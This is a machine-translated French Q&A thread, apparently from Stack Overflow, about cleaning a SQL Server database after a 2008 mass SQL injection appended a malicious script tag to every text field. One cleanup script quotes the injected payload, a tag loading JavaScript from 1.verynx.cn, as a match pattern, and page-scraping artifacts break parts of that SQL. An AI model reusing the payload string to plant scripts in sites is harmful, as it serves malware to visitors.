2008-08-28 35 views
8

J'ai été chargé de la maintenance d'un site Web à but non lucratif qui a récemment été victime d'une attaque par injection SQL. Quelqu'un a exploité un formulaire sur le site pour ajouter du texte à tous les champs textuels disponibles dans la base de données (varchar, nvarchar, etc.) qui, une fois rendu en HTML, inclut et exécute un fichier JavaScript.Quelle est la meilleure façon de nettoyer après une injection SQL?

Une recherche sur l'URL de Google indique que cela provient de spammeurs basés en Roumanie ou en Chine, mais ce n'est pas ce qui est important en ce moment. J'ai parcouru et retiré manuellement les informations des champs de texte qui apparaissent sur la plupart des pages visibles et populaires sur le site, mais je suis curieux de savoir quelle serait la meilleure façon de supprimer le texte de l'autre texte champs sur le site. De toute évidence, il y a encore beaucoup à faire (durcir le site contre les injections SQL, utiliser quelque chose comme le démarquage au lieu de stocker du HTML, etc.) et je travaille dessus, mais pour le moment ce dont j'ai vraiment besoin est un bon manière d'entrer et supprimer par programme le texte injecté. Je sais quel est le texte exact, c'est toujours le même, et il est toujours ajouté à la fin de tout champ de texte. Je ne peux pas me permettre de supprimer tout le code HTML dans la base de données pour le moment et je ne sais pas quand cela s'est produit exactement, donc je ne peux pas revenir à une sauvegarde. En outre, le site est sur l'hébergement partagé et je ne peux pas me connecter directement à la base de données avec les outils SQL Server. Je peux cependant exécuter des requêtes, donc s'il y a un moyen de construire une instruction de mise à jour SQL avec l'effet de "trouver tous les champs de texte dans toutes les tables de la base de données et de les nettoyer" meilleur.

Répondre

5

Restaurer les données d'une sauvegarde récente.

0

Cela inversera que, aussi il serait sage de prendre des autorisations SYSOBJECT loin du nom d'utilisateur de votre site fonctionne avec et pour nettoyer l'entrée bien sûr

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['[email protected]+'] where ['[email protected]+'] like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['[email protected]+'] set ['[email protected]+']=replace(['[email protected]+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['[email protected]+'] like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end') 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

j'écrit à ce sujet un certain temps ici: Microsoft Has Released Tools To Address SQL Injection Attacks

1

En supposant que vous ayez été victime de la même attaque que tout le monde, le code de SQLMenace est proche. Cependant, cette attaque utilise un certain nombre d'URL de script différentes, vous devrez donc le personnaliser pour vous assurer qu'il correspond à l'URL que vous voyez dans votre base de données.

I wrote about it as well, et mon code de solution incluait un nettoyage plus générique.

Un point important est que la toute première chose que vous devez faire est descendez le site. À l'heure actuelle, vous diffusez des logiciels malveillants auprès de vos utilisateurs, ce qui pourrait vous poser des problèmes d'ordre juridique plus tard. Mettez en place une page d'espace réservé afin que vos utilisateurs ne soient pas laissés dans le noir, mais ne gardez pas de malware. Ensuite, vous pouvez corriger le site pour vous assurer qu'il n'est plus vulnérable à l'injection. La manière la plus simple de faire cela pour cette attaque particulière est de simplement désactiver les permissions sysobjects/syscolumns pour votre utilisateur web, mais vous voudrez faire un nettoyage plus en profondeur ou c'est seulement une question de temps jusqu'à ce que vous soyez craqué encore. Ensuite, vous pouvez utiliser le code fourni pour nettoyer le site et le remettre en ligne.

+0

lien «J'écrit à ce sujet aussi bien » (http://jcoehoorn.vox.com/library/post/sql-injection-part -2.html) est redirigé vers la page web indiquant "Vox est maintenant fermé Merci pour votre amour et votre soutien de Vox au cours des années" –

2

J'ai été victime et vous pouvez l'utiliser pour nettoyer

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1) 
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))